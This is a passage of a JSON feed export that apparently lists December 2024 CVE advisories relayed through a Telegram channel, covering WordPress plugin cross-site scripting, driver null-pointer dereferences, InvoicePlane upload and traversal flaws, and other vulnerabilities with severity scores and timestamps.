\"Title\": \"CVE-2024-12658 - IObit Advanced SystemCare Utimate NULL Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-12658 \nPublished : Dec. 16, 2024, 6:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in IObit Advanced SystemCare Utimate up to 17.0.0 and classified as problematic. This issue affects the function 0x8001E01C in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:52:45.000000Z"}, {"uuid": "88edca8f-47ff-4936-a63f-4da659c73f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12469", "type": "seen", "source": "https://t.me/cvedetector/13081", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12469 - WordPress WP BASE Booking Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12469 \nPublished : Dec. 17, 2024, 10:15 a.m. | 23\u00a0minutes ago \nDescription : The WP BASE Booking of Appointments, Services and Events plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018status\u2019 parameter in all versions up to, and including, 4.9.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T11:45:47.000000Z"}, {"uuid": "b89d9275-0a6f-4320-82a4-1d51f339c0d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12127", "type": "seen", "source": "https://t.me/cvedetector/13080", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12127 - The Learning Management System, eLearning, Course\", \n  \"Content\": \"CVE ID : CVE-2024-12127 \nPublished : Dec. 17, 2024, 10:15 a.m. | 23\u00a0minutes ago \nDescription : The Learning Management System, eLearning, Course Builder, WordPress LMS Plugin \u2013 Sikshya LMS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page\u2019 parameter in all versions up to, and including, 0.0.21 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T11:45:47.000000Z"}, {"uuid": "f81af4dc-057f-4bf1-809e-463ef109f1f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12024", "type": "seen", "source": "https://t.me/cvedetector/13079", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12024 - EventPrime \u2013 WordPress Events Calendar, Bookings and Tickets Persistent Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12024 \nPublished : Dec. 17, 2024, 10:15 a.m. | 23\u00a0minutes ago \nDescription : The EventPrime \u2013 Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the em_ticket_category_data and em_ticket_individual_data parameters in all versions up to, and including, 4.0.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrative user accesses an injected page.  \nNote: this vulnerability requires the \"Guest Submissions\" setting to be enabled. It is disabled by default. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T11:45:46.000000Z"}, {"uuid": "f25efb14-071f-4351-9cb0-40eeb9de0bfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/cvedetector/13067", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12356 - Citrix Privileged Remote Access Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12356 \nPublished : Dec. 17, 2024, 5:15 a.m. | 20\u00a0minutes ago \nDescription : A critical vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) products which can allow an unauthenticated attacker to inject commands that are run as a site user. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T06:44:55.000000Z"}, {"uuid": "5746150e-cae4-46d3-bfb2-f5e32c48cd26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12239", "type": "seen", "source": "https://t.me/cvedetector/13063", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12239 - \"Beaver Builder PowerPack Lite Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12239 \nPublished : Dec. 17, 2024, 3:15 a.m. | 37\u00a0minutes ago \nDescription : The PowerPack Lite for Beaver Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the navigate parameter in all versions up to, and including, 1.3.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrative user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T05:04:48.000000Z"}, {"uuid": "86cc0dd8-529c-436d-a596-570734bdb951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12443", "type": "seen", "source": "https://t.me/cvedetector/13050", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12443 - Zendesk HelpScout Stored Cross-Site Scripting in CRM Perks HelpDesk Plugin\", \n  \"Content\": \"CVE ID : CVE-2024-12443 \nPublished : Dec. 16, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : The CRM Perks \u2013 WordPress HelpDesk Integration \u2013 Zendesk, Freshdesk, HelpScout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'crm-perks-tickets' shortcode in all versions up to, and including, 1.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T00:53:53.000000Z"}, {"uuid": "16000005-c946-4792-8ab8-ab1d2fbf6cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12644", "type": "seen", "source": "https://t.me/cvedetector/12971", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12644 - Chunghwa Telecom Tbm-Client Arbitrary File and CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12644 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : The tbm-client from Chunghwa Telecom has an Arbitrary File vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection in the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains an Absolute Path Traversal vulnerability. Attackers can copy arbitrary files on the user's system and paste them into any path, which poses a potential risk of information leakage or could consume hard drive space by copying files in large volumes. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:51.000000Z"}, {"uuid": "0a90c431-3985-407d-a060-fa4d9fc7278c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12501", "type": "seen", "source": "https://t.me/cvedetector/12933", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12501 - WordPress Simple Locator Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12501 \nPublished : Dec. 14, 2024, 6:15 a.m. | 16\u00a0minutes ago \nDescription : The Simple Locator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes in all versions up to, and including, 2.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T07:40:09.000000Z"}, {"uuid": "f0579335-cc1c-4544-a371-7372b5717bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12459", "type": "seen", "source": "https://t.me/cvedetector/12932", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12459 - Ganohrs Toggle Shortcode Stored Cross-Site Scripting Vulnerability in WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12459 \nPublished : Dec. 14, 2024, 6:15 a.m. | 16\u00a0minutes ago \nDescription : The Ganohrs Toggle Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'toggle' shortcode in all versions up to, and including, 0.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T07:40:05.000000Z"}, {"uuid": "e74d2723-2b4c-4a69-a127-c82faae52819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12422", "type": "seen", "source": "https://t.me/cvedetector/12931", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12422 - Eventbrite Import Events for WordPress Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12422 \nPublished : Dec. 14, 2024, 6:15 a.m. | 16\u00a0minutes ago \nDescription : The Import Eventbrite Events plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.7.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T07:40:04.000000Z"}, {"uuid": "94cabad7-0d81-49bf-a111-92d5b411b4f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12687", "type": "seen", "source": "https://t.me/cvedetector/13038", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12687 - PlexTrac Deserialization of Untrusted Data Arbitrary File Write\", \n  \"Content\": \"CVE ID : CVE-2024-12687 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : Deserialization of Untrusted Data vulnerability in PlexTrac (Runbooks modules) which allows Object Injection and arbitrary file writes. \n \nThis issue affects PlexTrac: from 1.61.3 before 2.8.1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:13.000000Z"}, {"uuid": "7a92f86e-445a-4575-9387-6c27c47053f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12667", "type": "seen", "source": "https://t.me/cvedetector/13037", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12667 - InvoicePlane Remote Session Expiration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12667 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability was found in InvoicePlane up to 1.6.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /invoices/view. The manipulation leads to session expiration. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.6.2-beta-1 is able to address this issue. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:12.000000Z"}, {"uuid": "7c9ea4ec-d2d0-47b9-ba18-e78ba957d46c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12666", "type": "seen", "source": "https://t.me/cvedetector/13036", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12666 - ClassCMS Remote Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12666 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability has been found in ClassCMS up to 4.8 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin?do=admin:user:editPost of the component User Management Page. The manipulation leads to improper handling of insufficient privileges. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:09.000000Z"}, {"uuid": "12a8aaa3-e2ee-4b86-8017-d6aa19da6662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12665", "type": "seen", "source": "https://t.me/cvedetector/13035", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12665 - Ruifang-tech Rebuild Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12665 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in ruifang-tech Rebuild 3.8.5. Affected is an unknown function of the component Task Comment Attachment Upload. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:08.000000Z"}, {"uuid": "bd246f34-272f-4e8a-ac39-b1eceda94596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12662", "type": "seen", "source": "https://t.me/cvedetector/13029", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12662 - IObit Advanced SystemCare Utimate Ioctl Handler Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12662 \nPublished : Dec. 16, 2024, 7:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in IObit Advanced SystemCare Utimate up to 17.0.0. This affects the function 0x8001E040 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T20:42:55.000000Z"}, {"uuid": "4769b406-9a3c-40f5-bdc7-63fd3dffe26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12448", "type": "seen", "source": "https://t.me/cvedetector/12919", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12448 - WooCommerce Posts and Products Views Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12448 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The Posts and Products Views for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'papvfwc_views' shortcode in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:45.000000Z"}, {"uuid": "66acea7a-1ada-419c-8a9b-55fd08eed99d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12657", "type": "seen", "source": "https://t.me/cvedetector/13021", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12657 - IObit Advanced SystemCare Utimate Local Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12657 \nPublished : Dec. 16, 2024, 5:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability has been found in IObit Advanced SystemCare Utimate up to 17.0.0 and classified as problematic. This vulnerability affects the function 0x8001E000 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:02:40.000000Z"}, {"uuid": "941b06d1-378d-4cb8-80dc-760b2747ac0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12656", "type": "seen", "source": "https://t.me/cvedetector/13020", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12656 - FabulaTech USB over Network Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12656 \nPublished : Dec. 16, 2024, 5:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in FabulaTech USB over Network 6.0.6.1. This affects the function 0x220448 in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:02:36.000000Z"}, {"uuid": "2e590a98-8553-4811-b7cb-11f687250dac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12655", "type": "seen", "source": "https://t.me/cvedetector/13019", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12655 - FabulaTech USB over Network Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12655 \nPublished : Dec. 16, 2024, 5:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in FabulaTech USB over Network 6.0.6.1. Affected by this issue is the function 0x220420 in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:02:36.000000Z"}, {"uuid": "275ff943-b9d7-4e0f-9a28-db7d1636cf3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12654", "type": "seen", "source": "https://t.me/cvedetector/13015", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12654 - FabulaTech USB over Network Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12654 \nPublished : Dec. 16, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in FabulaTech USB over Network 6.0.6.1. Affected by this vulnerability is the function 0x220408 in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T18:11:21.000000Z"}, {"uuid": "433a1140-7149-4377-a933-d8346192d483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12653", "type": "seen", "source": "https://t.me/cvedetector/13014", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12653 - FabulaTech USB over Network Null Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-12653 \nPublished : Dec. 16, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in FabulaTech USB over Network 6.0.6.1. Affected is the function 0x22040C in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T18:11:17.000000Z"}, {"uuid": "694cdae6-8f6d-44bb-9624-291763b78a31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12603", "type": "seen", "source": "https://t.me/cvedetector/12818", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12603 - AppLock Logic Flaw Allows Password Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12603 \nPublished : Dec. 13, 2024, 3:15 a.m. | 38\u00a0minutes ago \nDescription : A logic vulnerability in the the mobile application (com.transsion.applock) can lead to bypassing the application password. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T04:53:40.000000Z"}, {"uuid": "ef178b56-44f3-4117-8e21-c40da91620b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12478", "type": "seen", "source": "https://t.me/cvedetector/12979", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12478 - InvoicePlane Remote Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12478 \nPublished : Dec. 16, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability was found in InvoicePlane up to 1.6.1. It has been declared as critical. This vulnerability affects the function upload_file of the file /index.php/upload/upload_file/1/1. The manipulation of the argument file leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.6.2-beta-1 is able to address this issue. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T13:09:40.000000Z"}, {"uuid": "23c778ff-668c-4a1f-b9ab-89ece3276758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12362", "type": "seen", "source": "https://t.me/cvedetector/12978", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12362 - InvoicePlane Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12362 \nPublished : Dec. 16, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability was found in InvoicePlane up to 1.6.1. It has been classified as problematic. This affects the function download of the file invoices.php. The manipulation of the argument invoice leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.6.2-beta-1 is able to address this issue. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T12:19:30.000000Z"}, {"uuid": "68fa9736-5a97-4db0-bd58-584e662cb83e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 